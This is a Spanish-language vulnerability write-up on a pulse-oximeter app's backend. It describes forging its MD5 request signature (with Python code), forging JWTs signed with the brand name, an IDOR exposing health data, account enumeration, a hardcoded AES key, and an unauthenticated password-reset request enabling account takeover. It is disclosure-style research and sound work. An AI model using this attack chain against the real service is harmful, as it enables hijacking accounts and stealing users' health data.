Introducción

En el panorama actual de la ciberseguridad, la superficie de ataque de las aplicaciones móviles y sus servicios de backend se ha expandido exponencialmente. Las aplicaciones, especialmente aquellas que manejan información sensible como datos de salud, se convierten en puntos críticos de entrada para atacantes que buscan explotar debilidades en la capa de autenticación, la integridad de los datos o el control de acceso. El presente análisis se centra en la interceptación y el estudio exhaustivo de las comunicaciones de una aplicación móvil de un pulsioxímetro a través de un proxy de red.

Análisis

1. Proceso de registro de usuarios y verificación de integridad

El análisis se inicia con la apertura de la aplicación y la interceptación de las comunicaciones realizadas en red mediante Frida y un proxy web. La aplicación ofrece una funcionalidad de creación de cuentas. Para este proceso, se requiere enviar la siguiente petición POST con el correo electrónico y la contraseña.

POST /app/register/new HTTP/1.1
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"channel":"1","countryCode":"ES","email":"<EMAIL_ADDRESS>","nickName":"","password":"<PASSWORD>","phoneId":"<RANDOM_GENERATED_ID>"}

Tras registrarse, se observa que el servidor permite continuar sin la confirmación de posesión de la cuenta (código de un solo uso o enlace), permitiendo la creación de cuentas con cualquier correo electrónico no registrado previamente.

Se identifica el uso de una cabecera HTTP, sign, cuyo propósito es actuar como un mecanismo de integridad para verificar que la petición proviene de la aplicación móvil legítima y no de un tercero. Mediante ingeniería inversa estática, se pudo obtener el algoritmo de generación. La firma se construye a partir de los parámetros de la solicitud (channel, countryCode, email, nickName, password, phoneId) y una marca de tiempo Unix en milisegundos (timeStamp).

  1. Los parámetros son ordenados alfabéticamente.
  2. Se construye una cadena JSON compacta utilizando estos parámetros, la marca de tiempo y una clave secreta estática (SALT), ordenados alfabéticamente.
  3. Esta cadena se codifica en UTF-8.
  4. Se genera el hash utilizando el algoritmo MD5, que es posteriormente convertido a mayúsculas. Este hash se envía en la cabecera sign.

Esta es una implementación en el lenguaje Python.

import hashlib
import time

def generate_http_sign(url_params: dict, salt: str) -> tuple[str, str]:
    timestamp = str(int(time.time() * 1000))
    map_to_sign = {**url_params, "salt": salt, "timeStamp": timestamp}

    json_to_sign = (
        "{"
        + ",".join(f'"{k}":"{map_to_sign[k]}"' for k in sorted(map_to_sign))
        + "}"
    )

    signature = hashlib.md5(json_to_sign.encode("utf-8")).hexdigest().upper()

    return signature, timestamp


if __name__ == "__main__":
    SALT = "<SECRET_SALT>"

    params = {
        "channel": "1",
        "countryCode": "ES",
        "email": "user@example.com",
        "nickName": "",
        "password": "Password123!",
        "phoneId": "8f3a9b12",
    }

    sign, ts = generate_http_sign(params, SALT)

    print(f"Timestamp: {ts}")
    print(f"Sign:      {sign}")

Para el código de ejemplo se obtiene la firma 72EC40FA01D7731B8793137C30F4EFA5 para el salt 0ca1b68ae81c8ee812d7a99fb62d8245 y la marca de tiempo 1767225600000. Existe también una variante si se utilizan parámetros en la URL. En ese caso se crea en la variable params un objeto JSON como al mostrado con los parámetros y sus valores.

Aunque este mecanismo añade una capa de dificultad ante usuarios no especializados, la dependencia de un algoritmo de hashing débil (MD5) y el hecho de que la lógica completa de construcción de la firma fue expuesta mediante análisis estático, permite a cualquier atacante replicar la firma. Esto constituye una vulnerabilidad de implementación de control de acceso debido a la posibilidad de generar firmas válidas sin ser la aplicación legítima.

2. Flujo de inicio de sesión y creación de token JWT

El proceso de inicio de sesión utiliza la siguiente estructura de petición, incluyendo ahora la zona horaria:

POST /login/new HTTP/1.1
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"email":"<EMAIL_ADDRESS>","password":"<PASSWORD>","timezone":60}

La respuesta exitosa devuelve un identificador de usuario, el correo electrónico, y un Token JSON Web Token (JWT) de acceso.

{  
    "code": 200,  
    "msg": "success",  
    "data": {  
        "userId": <NUMERIC_USER_ID>,  
        "name": "",  
        "email": "<EMAIL_ADDRESS>",  
        "token": "<BRAND_NAME> <JWT_TOKEN>",  
        "countryCode": "ES",  
        "memberFlag": null,  
        "openTime": null,  
        "endTime": null,  
        "experienceFlag": null,  
        "closeHealthPageFlag": null  
    }  
}

Las peticiones subsecuentes utilizan la cabecera Authorization: <BRAND_NAME> <JWT_TOKEN>, siendo la primera cadena el nombre de la marca del dispositivo. Al realizar un análisis de seguridad del JWT, se descubrió que este utiliza el algoritmo HS256. Esto implica el uso de una clave secreta estática para firmar los datos.

{ "typ": "JWT", "alg": "HS256" }

Los datos que almacena el token son: la contraseña en formato hash bcrypt, el identificador de usuario, el correo electrónico, la marca de tiempo de expiración (un mes posterior a la de creación), la marca de tiempo de creación y el identificador único del token siendo el identificador de usuario. Se observa la práctica insegura de incluir la contraseña (aunque en formato hash bcrypt) dentro de un token de acceso, lo cual aumenta el riesgo de exposición de credenciales.

{ "PASSWORD": "$2a$10$...", "USER_ID": <NUMERIC_USER_ID>, "EMAIL": "<EMAIL_ADDRESS>", "exp": <EXPIRE_TIMESTAMP>, "iat": <CREATION_TIMESTAMP>, "jti": "<NUMERIC_USER_ID>" }

El hallazgo más grave es que la clave de cifrado utilizada para el token no es una clave de entropía aleatoria, sino el nombre de la marca del dispositivo en minúsculas (ej. oximeter). Esta debilidad permite la creación de tokens JWT arbitrarios. Mediante la modificación de las variables USER_ID y jti, es posible suplantar la identidad de cualquier usuario, conociendo previamente su identificador numérico (el cual se ha determinado es secuencial). Esto representa una vulneración crítica de la autenticación. Este es un ejemplo de token vulnerable:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJQQVNTV09SRCI6IiQyYSQxMCRkTFhFSWxNbmZyVjNGVEpHMmhMZFlPa3llSlltTXhzcENIeUV5eDZ0Mk1IdHQ2Q3RKdVFrQyIsIlVTRVJfSUQiOjIxOTU0NiwiRU1BSUwiOiJ0ZXN0X2VtYWlsIiwiZXhwIjoxNzY5OTA0MDAwLCJpYXQiOjE3NjcyMjU2MDAsImp0aSI6IjIxOTU0NiJ9.8NtUnzdBcCK08qf3ICiFr9vsF6gJeZ6b6I5DWbYKFXM

3. Inseguridad en el acceso a datos de salud

Al analizar el comportamiento de la aplicación en rutas relacionadas con la descarga y subida de datos de salud, se encuentra que el identificador numérico de la cuenta (userId) se pasa como parámetro. La aplicación no realiza una verificación de sesión o de autorización contra el userId proporcionado en la solicitud. Esto resulta en una vulnerabilidad de referencia directa insegura a objetos (IDOR). Es posible obtener y modificar los datos de salud de cualquier usuario conociendo previamente su identificador de usuario, sin requerir las credenciales o el token de ese usuario.

POST /v1/heartRate/data/async HTTP/1.1
Authorization: <BRAND_NAME> <JWT_TOKEN>
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"asyncTime":"","current":0,"size":50,"userId":"<NUMERIC_USER_ID>"}

4. Flujo de recuperación de contraseña y enumeración de cuentas

A continuación se cierra la sesión de la aplicación y se comprueba el funcionamiento del mecanismo de recuperación de una contraseña olvidada. El primer paso es introducir la dirección de correo electrónico. A continuación se avisa de que se ha enviado un correo electrónico con un enlace para recuperar la contraseña. En caso de que no exista la cuenta se muestra un error por pantalla, lo que permite enumerar si una cuenta existe en el sistema o no.

POST /app/password/new HTTP/1.1
timeStamp: <TIMESTAMP>
sign: <SIGNED_HASH>
Content-Type: application/json; charset=UTF-8
Host: backend.application.tld
User-Agent: okhttp/4.12.0

{"email":"<EMAIL_ADDRESS>"}

El correo enviado contiene un enlace al servidor del fabricante.

Hello

We have received your request to reset your password. Please click the button below to set a new password for your vihealth account

[Reset password](https://backend.application.tld/oximeter-parent/index.html#/?email=q0xhoH9HjRVssL4baw2qkBwteeGyNM1%2Fz1Qma8VVHZg%3D)

The above link will expire in 7 days. If you do not need to reset your password, please ignore this email. It is possible that another user entered the wrong email address.

Dispone de un parámetro, email, que es una cadena codificada utilizando Base64, y decodificándola se confirma que se encuentra codificada mediante URL y cifrada. También se comprueba que el parámetro se encuentra después del carácter #, por lo que se procesa directamente con el código JavaScript en el navegador. No se encuentra ningún tipo de token en el enlace.

Revisando la web desde las herramientas de desarrollador es posible obtener el código fuente de la aplicación web Vue.js que se encuentra empaquetada en un archivo Webpack. Observamos en el archivo index.vue una función mounted() maneja el cambio de contraseña:

mounted(){
    var email = this.getQueryString("email")
    let key = CryptoJS.enc.Utf8.parse('1111111122222222');
    let decrypt = CryptoJS.AES.decrypt(email, key, {mode:CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});
    this.email = CryptoJS.enc.Utf8.stringify(decrypt).toString()
    axios({
        method:"post",
        url: this.url + "/reset/password",
        params:{
          email: this.email,
          password: this.password,
          confirmPassword: this.confirmPassword
        },
        headers: {
          'Content-Type': 'application/json'
        }
      }).then(res=>{
        if(res.data.code == 200){
          this.text = this.data.Toast1
          this.password = ''
          this.confirmPassword = ''
          this.falg = 3
        }else{
          this.text = res.data.msg
        }
        this.isshow = true
        let that = this
        setTimeout(function(){
          that.text = ''
          that.isshow = false
        },2000)
      })
  }

Observamos que el parámetro email es una cadena cifrada con el algoritmo AES-ECM utilizando la clave 1111111122222222. Utilizando la herramienta CyberChef podemos descifrar la cadena exitosamente resultando en el correo del usuario.

Finalmente, se demostró que es posible enviar la petición de cambio de contraseña sin requerir ningún token de verificación, utilizando únicamente el correo electrónico y la nueva contraseña.

POST /reset/password?email=<EMAIL_ADDRESS>&password=<PASSWORD>&confirmPassword=<PASSWORD> HTTP/1.1
Host: backend.application.tld
User-Agent: Mozilla/5.0

Esta ausencia de un mecanismo de validación fuerte permite cambiar la contraseña de cualquier usuario registrado conociendo únicamente su dirección de correo electrónico, lo que permite un secuestro total de la cuenta. Tras este cambio de contraseña, el usuario no es notificado de ello mediante un correo electrónico. Se detecta que únicamente una sesión puede estar activa a la vez, por lo que al cambiar la contraseña e iniciar sesión la sesión del usuario original es cerrada.

Conclusión

Las vulnerabilidades identificadas abarcan desde el uso de criptografía insegura (MD5, claves estáticas de JWT) hasta fallas fundamentales en la lógica de negocio, como el IDOR y la ignoración del flujo de restablecimiento de contraseña permitiendo a un atacante suplantar identidades sin autenticación robusta y acceder a datos de salud de terceros sin consentimiento.